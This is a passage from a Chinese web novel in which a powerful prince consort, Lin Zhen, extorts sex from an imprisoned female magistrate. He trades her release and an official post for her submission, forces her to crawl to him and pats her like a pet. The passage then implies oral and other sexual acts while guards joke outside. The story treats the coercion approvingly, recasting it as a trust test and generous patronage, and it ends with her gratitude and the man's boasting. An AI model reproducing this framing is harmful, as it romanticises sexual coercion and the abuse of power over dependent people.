她踉跄着后退一步,撞在冰冷的门板上,胸口剧烈起伏,脸色已是一片铁青,再无半分血色。 她指着林臻,手指都在颤抖,声音因为极致的怒意而尖利起来: “林臻!我就是死也绝不会向你这种道貌岸然、衣冠禽兽之徒屈服!让你这种人得逞!我夏竹宁愿受千刀万剐之刑,也不愿沾你一根手指!” 她的双眼几乎喷出火来,“我真替陛下感到悲哀!替整个大乾感到悲哀!英明神武的陛下…她…她怎么会……嫁给你这等卑劣下流之徒!简直是国之不幸!” “哈哈哈哈!卑劣?下流?不幸?”林臻像是听到了世间最荒唐的评判,放声大笑,笑声中充满了张狂和不屑。 他毫不掩饰自己的得意,双臂微张,指着这夜色下森严的御史台,又仿佛指向这京城之外的整个大乾疆域: 他的声音陡然拔高,带着无上的威势,震得檐下灰尘簌簌落下,“我卑劣?我下流?可就是这样一个我!为陛下打下了这万里江山!就是这样一个我,代县五千破十万!就是这样一个我,辅佐朝堂,定国安邦!你问问这京城内外,你随便出去打听打听,那些当官的也好,街边卖茶水的老儿小贩也好,哪个提到我林臻的名字,不竖起大拇指,赞一声‘世子英明’‘世子万岁’?” 他上前一步,强大的压迫感再次笼罩夏竹,“大乾如今能休养生息,百姓能过上安稳日子,哪一样离得开我林臻的功劳?我的功勋,岂是你一个获罪的小小县令,空口白牙的污蔑就能抹杀的?!” “功高盖世又如何?”夏竹毫不畏惧地迎上他那摄人的目光,声音如同淬了寒冰的刀锋,字字诛心,“功绩再大,也掩盖不了你骨子里的龌龊!抹不去你今日胁迫我的行径!你依然是那个乘人之危、喜好渔猎女色、以权势欺凌弱女子的登徒子!是个下流无耻的色鬼!你的丰功伟业,不过是粉饰你肮脏内心的金漆罢了!” “色鬼?登徒子?”林臻玩味地重复着这两个词,非但不怒,反而饶有兴味地看着眼前这朵在狂风中剧烈摇摆却始终不肯折断的带刺之花。 他甚至悠然地点了点头,嘴角那抹邪气的笑容加深了。 第546章 我答应你 “那又如何?”他的语气轻飘飘的,带着理所当然的狂妄和一种近乎无耻的坦诚。 “这就是世道!这就是我林臻身为世子的基本‘福利’。权利、地位、美色,本就是一体。这些冠冕堂皇的话,你说得再响,也改变不了你此刻就在我的掌控之中,你的命运捏在我手里的事实。别的都是虚的,我只问你一句。” 他伸出手指,几乎要点到夏竹的鼻尖上,语气带着最后通牒的冷漠和诱惑,“现实摆在这里,你愿不愿意做我的女人?” 话音未落,林臻的动作快如闪电,未等夏竹反应,他那只刚刚还背在身后的手,已闪电般伸出,以不容抗拒的力量,用拇指和食指扣住了夏竹小巧的下巴。 他的力道精准而霸道,迫使她那因愤怒和屈辱而扭向一边的脸颊强行转了回来。 冰冷的指腹贴着肌肤,带着不容置疑的命令。 夏竹被迫抬起头,迎上了林臻那双近在咫尺、深不见底的黑眸。 那瞳孔如同寒潭深渊,里面清晰地倒映着她此刻苍白、愤怒、却又透着绝望的容颜。 “看着我!夏竹,别再做无谓的挣扎和所谓的高尚表演了。想想你被夺走的官印,想想你那些未完成的抱负,想想那些还在穷乡僻壤里挣扎的、等着你施政改变命运的女子。” 他的话语像毒蛇一样缠绕上夏竹心中最核心的坚持。 “你当初为什么寒窗苦读?为什么顶着世俗的压力、忍受无数白眼去做那个女县令?不就是为了打破这枷锁,为天下女子谋取一份应有的福祉和平等的权利吗?” 他的眼睛紧紧锁住她瞳孔深处一丝细微的动摇,循循善诱:“只要你此刻点点头。对,就这么简单,点一下头。这一切就都可以重新回到你的手中!你那几乎夭折的远大抱负,你那心心念念的理想国,你想为天下女子争取的东西就都可以实现。而且......” 他嘴角勾起一抹掌控一切的笑容,将身体凑得更近,几乎是咬着她的耳垂低语,那热气让夏竹起了一层寒栗:“你将会得到我的全力支持。你要明白,在这大乾,即便是陛下的圣旨,有时也不如我的一句话来得有分量。我的支持,是你想做成这些事情,唯一不可或缺的钥匙。没有它,你再有才华,也不过是牢笼中的囚鸟。” 他缓缓松开了捏着她下巴的手指,但那双极具压迫性的眼睛却依旧紧紧盯着她,等待着她的抉择。 空气沉重得仿佛凝固的铅块,压得人窒息。 侯春和王春生都看傻了。 他们不知道林臻到底要干什么,难道说林臻真希望上这个大龄剩女了? 不可能啊。 林臻绝不是这种审美。 而且,林臻如果想做什么,直接把夏竹扑倒就行了,根本没必要浪费这么多口水。 对他来讲,连女皇帝都睡了,还会在乎一个女县令愿不愿意么? 不明白,所以哥俩也不多问,就这么傻愣愣的看着,只不过步伐悄无声息的往后退了几步。 时间在一呼一吸间被无限拉长。 烛火投下的光影在两人脸上不断跳动。 夏竹能看到林臻眼中那份笃定和势在必得的光芒,也能感受到自己心中那面名为“气节”的城墙,在名为“理想”的惊涛骇浪和名为“现实”的铁壁铜墙前剧烈地震颤、呻吟。 无数个寒窗苦读的孤灯长夜,初任县令时面对重重刁难的焦灼,为县治下女子伸张正义被豪绅压制的憋屈,还有那些在狱中不知生死、等待着她去救助的身影与眼前这个男人的轻佻、蛮横、赤裸裸的威胁交织、冲撞。 她紧咬着下唇,尝到了铁锈般的血腥味。 苍白的脸上,肌肉在难以抑制地微颤。 最终,那排浓密的、带着残余泪珠的长睫毛剧烈地抖动了几下,像是耗尽了所有的力气,缓缓地、缓缓地垂了下去,盖住了眼底深重的屈辱和绝望的灰烬。 当她再次抬起眼时,那潭愤怒的冰湖深处,只剩下一种被抽空了所有精神之后的、空洞的平静,那是一种名为“屈服”的灰烬在燃烧后的惨淡余温。 她的声音嘶哑得如同破旧的风箱,每一个字都像是从千钧重石下艰难挤出的:“你……此话当真?” 那目光直刺林臻,带着最后的、濒临破碎的确认。 林臻的嘴角,那抹闲适又带着征服快意的弧度猛地扩大,像是听到了一场期待已久的胜利宣告。 “夏县令,你尽管放心。我林臻说话一口唾沫一个钉!” 得到这看似斩钉截铁的承诺,夏竹闭上了眼睛,深深吸了一口气。 那吸气声在寂静的夜里格外清晰,仿佛用尽了胸腔里最后一丝元气。 当她再睁开眼时,所有的情绪风暴似乎都被强行镇压了下去,只余下近乎冷酷的理智。 她微微颔首,动作轻微,却无比清晰地完成了一个“点头”的动作。 “好...”她吐出一个单音节,仿佛千斤之重,“我答应你。” 顿了顿,她抬起头,目光直视林臻,不再有丝毫躲闪,但也没有半分温度,像是在谈判一件冰冷的物品。 “但是,放我出去后,我要去大乾最富庶的县,只有那里才能实现我的抱负!”她不傻,知道蓬莱那个还没开发完全的破地方根本没办法让她大展身手。 所以她要去一个不需要在乎钱的地方。 “最富庶的县?”林臻忍不住再次放声大笑,笑声爽朗而畅快,“哈哈哈哈!好!有野心!本世子就喜欢你这直接了当的性子!没问题!” 他大手一挥,姿态豪迈至极:“武清如何?全天下已经没有比武清更富庶的县了。” 武清。 他报出的这个县名,在乾国无人不知,那是一片膏腴之地,交通咽喉,商贾云集,说是流金淌银也不为过。 “那可是我大乾的经济特区!够不够富庶?够不够让你大展拳脚?”他盯着夏竹的脸,不放过任何一丝细微的表情。 夏竹的眼中似乎闪过一丝极其微弱的光芒,如同灰烬中的火星一瞬即逝,随即又恢复死寂。 她只是再次点了一下头,清晰地吐出一个字:“好。” 没有喜悦,没有感激,只有一锤定音的木然。 林臻笑意更浓,那笑容带着一种志得意满和猎物终于入笼的放松。 他不再看夏竹,而是转身,随手推开了身后那间耳房沉重的、带着铁锁锈蚀气味的木门。老旧的门轴发出一阵令人牙酸的“吱呀——”,打破夜的死寂。 “那就请吧,夏——县——令。”他侧身,做出一个颇有风度的邀请姿势,但那眼神中的戏谑和意味深长却毫不掩饰。 夏竹没有再看林臻,目光空洞地望着那扇敞开的、黑洞洞的门扉。 她知道,只要走进去,自己就要和三十四年的干净身体说拜拜了。 但她还是咬了咬下唇,迈步走进去,即便那双她最喜欢的绣花鞋有千斤之重。 林臻随之而入,反手将门轻轻带上。 木门闭合时,发出一声沉闷的“哐当”声,隔绝了外面的微弱光线,更隔绝了门外的一切目光和声响。 侯春整个人都傻了。 “春生,世子今天有点不对劲啊。” 王春生也木讷的点点头,说:“是啊,你跟世子这么长时间,平时她也这个样子吗?” 侯春摇摇头:“就是因为没有过,所以我才好奇啊。” “那要不要告诉家里?” “别别别,这事儿如果浣碧夫人知道还好说,要是让晴雯夫人知道世子半夜出门就为了睡一个半老徐娘,还不把家拆了。” “说的也是,那我们怎么办?” “怎么办?等呗,今晚有的等了,世子向来持久。” 第547章 恐怕没办法伺候好世子 沉重的木门在身后“哐”一声阖上,将门外的最后一缕夜风与微光彻底隔绝。 一股更为浓重的、混合着陈旧木料、冰冷石壁以及一丝若有若无的霉味与皂角的复杂气息扑面而来。 与林臻想象中污秽不堪、虫鼠横行的景象截然不同。 借着门缝最后泄入的、迅速消失的那点微光扫视,这间屋子虽然不大,陈设也极其简单,但出乎意料的整洁。 青砖地面被扫得一尘不染,墙角没有蛛网,连冰冷的石壁都显出擦拭过的干净痕迹。 一张靠墙的单人硬木床榻,铺着薄薄的素色布垫;一张略显陈旧却擦拭得发亮的杉木书案靠窗摆放,案上还有一方砚台、一管秃笔和几卷堆放整齐的空白宣纸。 墙角一个同样干净的木质盆架,上面搭着一条同样洗得发白的巾子。 简洁得近乎清苦,却也维持着一个读书人、一个官员最后的体面。 林臻没有说什么,但这异样的整洁不仅没让夏竹感到一丝宽慰,反而像一种无声的讽刺,衬得她此刻的处境愈发不堪。 这里可以保持干净,可以维持秩序,可一旦踏入,个体的尊严和自由便已被标上价码,等待出售或摧毁。 空气死寂,只有两人略显沉重的呼吸声此起彼伏。 “嚓!”一声轻响,打破了令人窒息的沉默。 林臻手中不知何时多了一根细长的火折子。 他熟练地一吹,火星瞬间跳跃起来,映亮了他小半边英俊却冷硬的面颊和那幽深如潭的眼眸。 他没有看向夏竹,径直走到书案旁拿起一支细长的白烛。 跳跃的火焰舔舐上烛芯,温暖的烛光终于缓缓稳定下来,驱散了小半屋子的黑暗,将两人的身影长长地、扭曲地投射在冰冷的墙壁上。 这新生的烛光,也毫无保留地照亮了站在门口不远处的夏竹。 那朴素的官袍包裹着她高挑却因多日忧愁而显得单薄的身躯,勾勒出起伏的线条。 苍白多日的脸颊,此刻因为紧绷的神经、未知的恐惧和内心深处翻腾的屈辱与羞愤,竟晕染上一种惊心动魄的绯红。 汗水浸湿的鬓角,一缕原本紧束的发丝悄然滑落,柔顺地贴在她细腻潮热的颊边,恰到好处地遮住了一小部分那如同晚霞浸染的肌肤。 光洁的额头上沁出细密的汗珠,在烛光下折射出细小的光点。 那份苍白与潮红的交错,那份破碎与倔强的纠缠,在昏黄摇曳的光芒中,呈现出一种令人心悸的、脆弱的美丽。 她像是一件被精心保管却又被强行剥开包装的祭品,准备献祭给眼前的权柄。 林臻的目光终于从烛火上移开,精准地落在了夏竹脸上。 那双深邃的眼眸里,清晰地映出了烛光和她此刻的模样,一种难以言喻的审视和一丝几不可察的玩味在其中悄然流转。 他没有说话,只是抬步,沉稳地朝她走了过去。 他的脚步声很轻,落在那干净的地砖上几乎无声。 夏竹的心脏骤然缩紧。 她几乎是出于自我保护,在他靠近到触手可及的距离时,身体不受控制地向后猛退了一步! 脊背狠狠地撞在冰冷的门板上,发出一声沉闷的轻响,震得她耳膜嗡嗡作响。 “世...世子!”夏竹的声音带着细微的、因极度紧张而无法抑制的颤抖。 她的双手紧紧攥着衣角,指尖用力到泛白。 她飞快地瞥了一眼床榻,又触电般收回目光,脸颊更是烧烫得如同着了火,用尽了全身力气,才从干涩发紧的喉咙里挤出几个破碎不成句的字眼:“下官……我……我从未……没有圆房的经验……恐……恐怕……” 她低下头,浓密颤抖的睫毛拼命遮掩着眼中翻涌的惊恐与无措。 “恐怕没办法……伺候好世子……”这自贬的言语,如同冰冷的刀子,一刀刀剐着她最后的尊严。 林臻的脚步停住了,距离她只有一步之遥。 他高大的身影完全将她笼罩在阴影与烛光交织的光影里。 听到她断断续续的话语,他非但没有丝毫不悦,反而微微牵起了嘴角。 “呵……那不重要。”他语气轻飘,像是在陈述一个无关紧要的事实。 夏竹惊愕地抬起头,撞进他那双深不见底的眼眸。 烛光在他眼底跳跃,冰冷而专注。 “重要的是从此刻开始,你要一直乖乖听话,懂吗?” 夏竹的心脏狂跳着,几乎要冲破胸腔。 她知道,这“乖乖听话”意味着什么。 是放弃所有的抵抗,交出所有的主动权,将自己彻底置于他意志的摆布之下,接受他的冲刺与羞辱。 她看着林臻那双仿佛能吞噬一切的目光,一股强烈的羞耻感混合着一种绝望的无力感涌上心头。 她艰难地咽了口唾沫,喉头像堵着一团硬物。 最终还是用力闭上了眼睛,再睁开时,长长的睫毛上沾染了一层更浓的水汽。 她极其缓慢、沉重地点了一下头,动作轻微,却像是用尽了最后一丝力气。 脸颊的绯红更深了,连小巧的耳垂都染上了不正常的红晕,从齿缝里挤出一个字:“懂。” 看到她终于点头,林臻脸上那丝若有若无的笑意明显加深了,带着一种满足的意味。 他不再看她,从容地转身,几步便走到了那张靠墙的单人硬木床榻边。 他伸出手,姿态优雅甚至带着几分闲适地拂了拂那素色布垫上根本不存在的灰尘,然后坦然地在床沿坐下。 烛光将他倚坐床边的身影投射得高大而极具压迫感。 他并未立刻开口,只是微微侧过头,目光再次落在僵立在门口的夏竹身上。 那目光无声地审视了她片刻,像是在欣赏一幅即将完成某种仪式的画面。 终于,他动了。 修长的手指朝着床前那片冰冷的地砖,如同召唤最低等的仆从,微微勾了勾。 动作随意而轻佻,却带着一种不容置疑、近乎命令的语气: “爬过来。” “爬过来”三个字,如同淬了毒的冰锥,狠狠扎进夏竹的耳朵,瞬间引爆了她所有勉强压抑的情绪! 一股前所未有的、浓烈的、几乎要将她灵魂都腐蚀殆尽的羞辱感轰然冲上头顶! 第548章 乖,爬过来 夏竹只觉得一股灼热腥甜的血液直冲脑门,眼前甚至恍惚了一瞬! 她那挺直的、代表着文人气节的脊背,在这一刻猛地绷紧如弓弦,每一个细胞都在尖叫着抗拒! 她死死攥紧的拳头剧烈地颤抖着,指甲深深掐入掌心细嫩的皮肉,带来尖锐的刺痛,却远不及心头那千分之一! “唔……!”一声痛苦的闷哼被她强行咬在唇齿间。 她猛地抬起头,脸上再不见半分羞怯,只剩下燃烧的愤怒和深切的悲哀! 那双明亮的眼眸此刻赤红一片,死死盯着床榻上如同俯视蝼蚁般的林臻,声音因为极致的愤怒和屈辱而变得嘶哑尖锐: “林臻!”她甚至忘记了对世子的敬称,直呼其名,每一个字都像是从血泪里抠出来的,“你究竟为什么?!难道就是为了作践我,如此羞辱我们女子?!把我们尊严践踏在脚下,看着我们屈膝如牲畜般爬行,这样就能让你获得极大的快感吗?!” 她的话像鞭子一样抽打着寂静的空气,饱含着她所有的屈辱与控诉。 床榻上的林臻面对她激烈的斥责,神色没有丝毫波动,甚至连刚才那点慵懒的笑意都收敛了,只余下一种彻底的、冰冷的平静。 他的目光甚至没有一丝波澜,平静地回视着她眼中燃烧的火焰。 “作践?羞辱?”他缓缓开口,“你想多了。这是必要的过程,是我对你的服从性考验。武清县是大乾的经济特区,商贾税赋重地,紧邻京师,关系着半个王朝的命脉。如此要地,关乎无数民生。你说...” 他语速放慢,每一个字都如同重锤般敲击着夏竹的心防:“我凭什么把它交给一个内心对我充满怀疑、敌意,甚至在某种程度上根本不信赖我意志的人?你又凭什么让我相信,你今日的投效不是权宜之计,明日不会倒戈,捅我一刀呢?” 他摊开双手,做出一个无奈而冷酷的提问姿势,“信任的基石,靠的不是嘴上功夫,而是最彻底、最本能的服从。” 他的眼神陡然变得锋利,带着咄咄逼人的压迫感,直视夏竹怒火翻腾却又开始动摇的双眼:“你告诉我,在此时此刻此地,除了这最直白的方式,你还有更好的、能让我立刻就信你的办法吗?” 残酷的现实如同一桶冰水,从头到脚将夏竹浇了个透心凉。 “我……”夏竹张了张嘴,一股窒息般的绝望扼住了她的喉咙。 满腔的愤怒,所有的控诉,所有的辩驳,在眼前这个男人那冰冷、理性却无法反驳的逻辑面前,显得如此苍白、幼稚、不堪一击。 她看着他眼中那份掌控一切的笃定,那洞悉人心的犀利,她发现自己根本无法回答他这个问题。 是的,她找不到任何办法,在这个密闭的牢房,在这个决定她命运走向的男人面前,可以立刻、有效地、彻底地取信于他。 除了……按照他的要求,放下一切的尊严。 愤怒的火焰在冰冷的现实面前不甘心地摇曳、挣扎,最终,慢慢地、无力地熄灭下去。 房间里只剩下烛火燃烧时偶尔发出的轻微噼啪声,以及两人交织在一起、越发清晰可闻的呼吸。 夏竹站在原地,像是被抽走了所有骨头,浑身的力气都随着刚刚那场徒劳的爆发而散尽。 她低着头,只能看到自己最喜欢的那双绣鞋,以及那片冰冷、干净得如同刑台一般的地砖。 时间在凝固的空气中滴答流逝,每一秒都漫长如同一个世纪。 终于,那紧握到发白、指甲深陷掌心的双手,极其缓慢地、一根手指一根手指地,松开了。 然后,在烛光下,在床榻上那尊贵世子平静而冰冷的注视下。 她的身体,极其僵硬、极其沉重地矮了下去。 双膝,终于重重地砸在了冰凉坚硬的地砖上。 膝盖骨撞击石面的闷响,在这死寂的小房间里格外清晰。 她垂下头,乌黑的长发滑落,再次遮住了她大半边脸颊,连同那双绝望空洞的眼睛。 一滴滚烫的液体无法抑制地冲出眼眶,迅速在她眼下冰冷的皮肤上划出一道清晰的水痕,最终无声地砸落在地砖上,留下一个深色的、迅速蒸发的圆点。 没有愤怒的控诉,没有歇斯底里的反抗。 那双刚刚还撑住身体的、曾无数次为百姓写状纸、批公文、扶危济困的手,带着一种破釜沉舟的决绝和深入骨髓的屈辱,向前探出,颤抖着支撑在了冰冷的地面。 双肘弯曲。脊背被一种无形的重力压弯。 四肢着地。 她开始向前爬行。 膝盖磨蹭着冰凉坚硬的地面,布料发出轻微的摩擦声。 手臂支撑着身体的大部分重量,一点点前移。 这个姿势剥夺了她所有的优雅,抹去了她所有的骄傲。 可她曾经也是第一甲第一名啊! 是名震天下的女学士,是无数文人墨客倾慕的对象。 可现在她却将自己最脆弱、最不堪的一面彻底暴露在林臻那高高在上的目光之下。 每一次手臂的挪动,每一次膝盖的顶进,都伴随着灵魂深处的剧痛和泣血的悲鸣。 世界仿佛在她眼前颠倒、旋转,只剩下那条通往床榻的、近在咫尺又遥不可及的羞辱之路。 为了那个遥远的、渺茫的、关于天下女子未来的理想,为了那一束也许终将被点燃的光……她亲手将自己,推入了这屈辱的深渊。 她的动作极其缓慢,每一寸挪移都艰难无比。 从门口到床榻的距离不过区区七八步,于她,却如同跋涉泥泞的千山万水。 空气凝重得让人窒息,只有她沉重的喘息和她肢体挪移时衣料与地面的摩擦声。 终于,她爬到了他的脚边。 她停住了。 整个身体都在无法控制地轻微颤抖,汗水浸透了鬓边的发丝,黏在她滚烫的脸颊上。 心脏在胸腔里狂跳,撞击着肋骨,发出震耳欲聋的轰鸣。 一只骨节分明、干燥而温热的手掌,带着一种与生俱来的主宰气息,从容地落在了她的头顶。 那动作并不粗暴,甚至带着几分安抚般的轻柔,然而其中蕴含的意味,却让夏竹全身的血液瞬间凝固。 这不是怜惜,这是抚慰宠物的姿态,是施舍般的确认主权! 林臻宽厚的手掌就那么自然地覆盖在她黑色的发顶上,带着一种主人奖赏听话仆从的满意姿态,极其缓慢地、由上至下地……摩挲着她的头顶。 指尖甚至轻轻掠过她汗湿的发丝。 伴随着这如同对待狗一般的抚弄,他喉间发出一声低沉而清晰的、带着十足赞许意味的单音节:“乖。” 这一声“乖”,如同烧红的烙铁,狠狠烫在夏竹那颗已被践踏得千疮百孔的自尊之上。 支撑在地面的双臂猛地一软,她整个上半身都微微一塌。 浓重的、毁灭性的屈辱感如同海啸般席卷了她的意识,让她眼前阵阵发黑,身体里的每一根骨头都仿佛在哀鸣着断裂。 为了理想,她献祭了自己最后一点为人、为官、为女子的尊严,把自己变得还不如一条狗。 “你...你...呜呜...呜呜呜呜!!啊啊啊!!”泪水,如同断了线的珠子,再也无法遏制。 她想说话,却根本不知道该说什么,只有放肆的大哭。 三十四年都没有如此痛哭过的她,此刻除了哭泣外没有任何可以宣泄自己情绪的方式。 不甘与屈辱的眼泪大颗大颗地、失控地冲出眼眶,争先恐后地砸落在冰冷的地面上,迅速晕开一小片深色的水渍。 她把头垂得更低了,几乎要埋进自己的臂弯里。 下巴死死抵住锁骨,试图阻隔那令她羞愤欲绝的触摸。 那手掌的温度如同跗骨之蛆,灼烧着她的头皮,也焚烧着她苟延残喘的灵魂。 她能清晰地感觉到自己身体内部某种东西彻底崩塌碎裂的声音。 林臻的手停留在她的发顶,感受着手下头颅轻微的颤抖和无声泪水的灼热。 他低头凝视着这具匍匐在自己脚下、因巨大屈辱而不住轻颤的身体,目光深邃难测。 第549章 妾身都听世子的 “夏竹,”他再次开口,声音依旧是那副不疾不徐、仿佛探讨哲学的腔调。 “男人掌控这个世界,坐拥话语权和支配权已经延续了几千年了。你一个女人,仅凭着一腔孤勇和不甘,就确定要改变这一事实?要颠倒这千百年积淀的秩序?” 一颗硕大的泪珠砸落在夏竹手边冰冷的地砖上,洇开,无声消逝。 “确定!” 那声音嘶哑微弱,却异常固执,透着一股玉石俱焚的倔强。 林臻放在她头顶的手掌顿住了。 幽深的眼底闪过一丝复杂难辨的情绪,似乎有叹息,有不解,也有一丝极淡的……不易察觉的波澜? 他沉默了片刻,空气中只剩下烛火燃烧的噼啪和夏竹极力克制却依旧泄漏出的、破碎的呼吸声。 “唉……”一声悠长的、意味复杂的叹息,终于从林臻口中溢出,打破了沉寂。 那叹息里似乎并没有多少嘲讽,反而带着一种站在绝对高度俯瞰时的、略带悲悯的沧桑感。 “你这又是何苦?若你最终真的做到,史书上自会留下你夏竹的名字,万世传颂。可如果你倾尽了所有,包括你此刻放弃的这些最宝贵的东西,最终却发现自己所做的一切不过是蚍蜉撼树,螳臂当车,非但没有改变分毫,反而将自己彻底碾碎,甚至还要累及亲族。那样惨烈的牺牲,值得吗?” 沉重的现实如同巨山压顶,几乎要让夏竹支撑在地面的双臂彻底断裂。 她感到窒息。 良久,极度压抑的呜咽声才从她埋低的头颅下艰难地逸出,伴随着断断续续却字字清晰的坚持:“至少我为这世间的女子挣扎过...我曾为她们争取过这一束光。哪怕只是微弱萤火,但只要能照亮一个人,我也心甘情愿。” 寂静再次降临。 这一次,持续了更久的时间。 林臻放在夏竹头顶的手掌终于缓缓移开了。 那迫人的压力骤然消失,却并未带来丝毫的解脱感。 他再次长长地叹了口气,那叹息声中蕴含了太多的复杂。 他看着脚下依然匍匐着、肩膀因哭泣和绝望而不断起伏的夏竹,语气忽然发生了一种极其微妙的转变,不再是居高临下的审判,反而带上了一丝几不可察的喟叹,和一种奇异的松动。 “嫣儿就是这种撞了南墙也不回头的倔劲儿,你和她真像。” 夏竹的抽泣微微一滞。 嫣儿? 女帝慕容嫣? 林臻微微后靠了一点。 “改变世界,呵。”他自嘲般地扯了扯嘴角,“谈何容易啊?嫣儿自从登基以来何尝不想大力提拔女子,为你们开出一条新路?但她的做法太过刚猛,如烈火烹油,只想一蹴而就,却不知过犹不及,反激起天下士林乃至勋贵阶层的强力反弹。” 他的目光重新落回夏竹身上:“我说过,可她总是听不进去。帝王的尊严让她不肯迂回。所以我才会选择你。” 夏竹的身体猛地一震! 匍匐的姿态下,她的头极其轻微地抬起了一点点,目光透过被泪水浸透、粘连的凌乱发丝,难以置信地投向林臻的方向。 “选择?”她嘶哑的声音充满了迷惑和震惊。 自己这屈辱的交易,这如同蛆虫般匍匐在地的臣服,竟是为了别的女人? 那我算什么? “没错。”林臻坦然承认,语气没有丝毫避讳,“与其让嫣儿在朝堂上撞得头破血流,徒耗精力,不如由你在地方上尝试,寻找一条切实可行、阻力更小的路。” “你羞辱我,又给我官职,竟是为了她?” “羞辱?不,我刚才要求你做的一切,包括此刻的姿态,不完全是羞辱。那是构筑我们之间最基础的信任堡垒所必需的、最有效的基石。以后你就安心当我的女人,做好该做的事。我也会履行我的承诺,送你赴任武清县。在那里,施展你的抱负,实践你的想法,证明你的能力。” 他的身体微微前倾,目光灼灼,仿佛要穿透她混乱的思绪,将那未来的蓝图强行烙印上去:“只要你能把武清真正治理好,让它吏治清明,库府充盈,让百姓安居乐业,并且在你推行那些‘提高女子地位’的具体政策和引导中,真正展现出其可行性和所带来的利益,而非仅仅是对男子的倾轧与争夺,让所有人看到女子治理能力的同时,更看到一种和谐与进步的可能性。” “那么,我林臻,便会动用我所有的力量和声望。将你夏竹,树立为我大乾王朝女子为官、牧民地方的典范!成为那燎原的火种!以此为发端,推动女子参与科举、出任地方官员的制度,在乾国大地上落地生根!” 这个掷地有声的承诺,带着翻天覆地的魄力,狠狠地撞进了夏竹绝望的深渊。 刚才还沉浸在无尽屈辱和悲愤中的夏竹,猛地抬起了头! 那张布满泪痕、沾着凌乱发丝的脸颊上,瞬间涌起的不是狂喜,而是一种极致震撼后的短暂空白! 那双早已被绝望和泪水模糊的眸子,在烛火摇曳的光芒中,如同死灰复燃般,骤然爆发出一种难以置信的、炽烈的光芒! 林臻清晰的承诺,如同在无边寒夜中突然点亮的一盏长明灯火,虽无法立刻驱散所有寒冷,却瞬间刺穿了那厚重的绝望迷雾,为那个摇摇欲坠、即将沉入深渊的理想,投射出一根异常清晰、充满力量的藤蔓! 武清县的现实治理,女子为官的制度改革......这些真实而宏大的未来图景,如同汹涌的潮水,瞬间冲垮了她刚刚构筑的屈辱堤坝,“轰”的一声巨响在她脑海深处炸开! 不是因为林臻身份的加持,而是因为这条通向终极理想的路,第一次被清晰地、以如此具备操作性和前景的方式勾勒出来! 她不再是孤军奋战,不再是无根浮萍! 一个强大到足以对抗整个旧秩序的力量,第一次对她敞开了大门! 即便代价是献祭自己…… 滚烫的泪水再次汹涌而出,但这一次,不再是纯然的屈辱和绝望,而是混杂了震惊、难以置信、劫后余生以及对那庞大希望震撼憧憬的复杂情绪! 她身体微微颤抖着,支撑在地面的双臂因为这巨大的冲击而微微松动。 过了好几息,那空白的大脑才勉强从巨大的震撼和复杂的情绪漩涡中挣扎出来。 她微微张了张嘴,干裂的嘴唇翕动着,却发不出清晰的声音。 喉咙哽咽得厉害。 眼前林臻那双深邃的眼眸,在摇曳的烛光下,仿佛蕴含着雷霆万钧的力量。 她最终,只是艰难地、极其沉重地,将额头深深地抵在了支撑着冰冷地面的手背上。 这是一个卑微却真诚的动作。 一个沙哑得几乎听不真切,却充满了某种被击碎后重获支撑力量感的词语,从她剧烈起伏的胸口和紧贴地面的唇齿间,艰难而清晰地飘了出来: “谢谢。” 这一声“谢谢”,沉重如山,包含了她此刻无法用言语表达的震撼、悲凉、屈辱,以及那在绝望深谷中破土而出的一线生机。 林臻拉了她一把。 夏竹顺从的站起来,随着他的力道自然的坐在她腿上。 阵阵体香传来,林臻用手指拂过她的脸颊,说:“正事说完,我们该办点成人间的事情了。” “嗯,妾身都听世子的。” “乖~跪下去,张嘴。” 第550章 魏武遗风的含金量还在提升 夜色如墨,沉沉地包裹着整个御史台丁字院。 门外那方小小的石砌庭院,死寂得只剩下风拂过墙角枯草的细微沙沙声,单调得令人心头发毛。 清冷的月光吝啬地从高墙之外斜斜漏下几缕,吝啬地洒在地面的青石板上,映照出两道如同雕塑般笔直挺立的身影。 侯春和王春生站在房间门前几米的位置,依旧保持着标准的跨立姿态,如同两尊没有生命的石像。 忽然! “啊——!” 一声短促、凄厉、饱含着巨大痛苦与惊惧的尖叫。 这声惨叫来得太突兀,太尖锐,在沉寂的夜里如同平地惊雷! 侯春和王春生的身体几乎是同时猛地一震! 然而,还未等他们从这声惨叫带来的巨大冲击中回过神来,那扇紧闭的门扉后便隐隐透出了另一种截然不同的声音。 那是一种细微的、压抑的、带着令人面红心跳的暧昧喘息,中间夹杂着难以辨识的破碎低吟,还有某种沉闷的、规律性的撞击声。 这些声音虽不如那声尖叫穿透力强,却如同沾了蜜糖的藤蔓,丝丝缕缕地缠绕进耳膜,在这肃杀阴冷的御史台牢院里,营造出一种令人极度不安、极度违和的旖旎氛围。 侯春叹了口气:“唉,终于开始了。” “看来有的等了。” “可不是嘛,要说世子是很挑食的啊,怎么会对这半老徐娘的有感觉呢。” 王春生笑道:“说不准世子就好这一口呢,哈哈哈哈。” “你小点声,被世子听到咱俩还活不活了。” 空气仿佛被点燃了无形的火焰,陡然变得粘稠而灼热起来。 侯春脸上的肌肉绷得死紧,不再看那扇门,只是更加专注地扫视着庭院的围墙与暗影。 王春生则猛地低下头,随着声音不断传来,脸色涨得通红,一直红到了耳根。 两人谁都没有再交流一个字,甚至连眼神的碰撞都刻意回避了。 庭院里只剩下那越来越清晰、越来越不容忽视的靡靡之音在夜色中悄然弥漫,伴随着两人极力压抑却又无法平复的粗重呼吸。 时间在这令人窒息的煎熬中,异常缓慢地流逝着,如同凝固的沥青。 一个时辰之后。 “吱呀——” 一声格外刺耳的、老旧的木枢摩擦声响起。 那扇紧闭了一个时辰的木门,终于向内打开了。 王府世子林臻迈步而出,身影再次出现在清冷的月色之下。 他吐出一口浊气:“呼!舒坦~” 他身上华贵的玄色锦袍依旧整齐挺括,不见丝毫凌乱,只是脸颊上还残留着一抹未曾完全散尽的、餍足后特有的慵懒红晕。 他神态自若,步履沉稳,仿佛只是去巡视了一番自己的领地,顺手摘取了一朵带刺的小花,脸上甚至还带着一丝若有似无的、心满意足的微笑。 他猜到了夏竹应该是第一次,但没想到居然这么给劲儿。 果然,魏武遗风的含金量还在提升。 “走,回家。”他没有看身旁两位如同木桩般的护卫,目光望向院墙外浓重的夜色,语气平淡无波。 “是,世子!”侯春和王春生齐声应道。 两人迅速调整好姿态,好像方才那门内的惨叫与靡音仿佛从未发生过,迅速被抛在了这座充斥着铁锈与阴暗气息的御史台深处。 京城的夜空下,万籁俱寂。 宵禁的时辰早已过去,宽阔的石板长街空旷得看不到一个人影,只有更夫梆子声在遥远的地方孤独地回响。 昏黄寥落的灯笼悬挂在街角,将三人的身影拉得细长而扭曲。 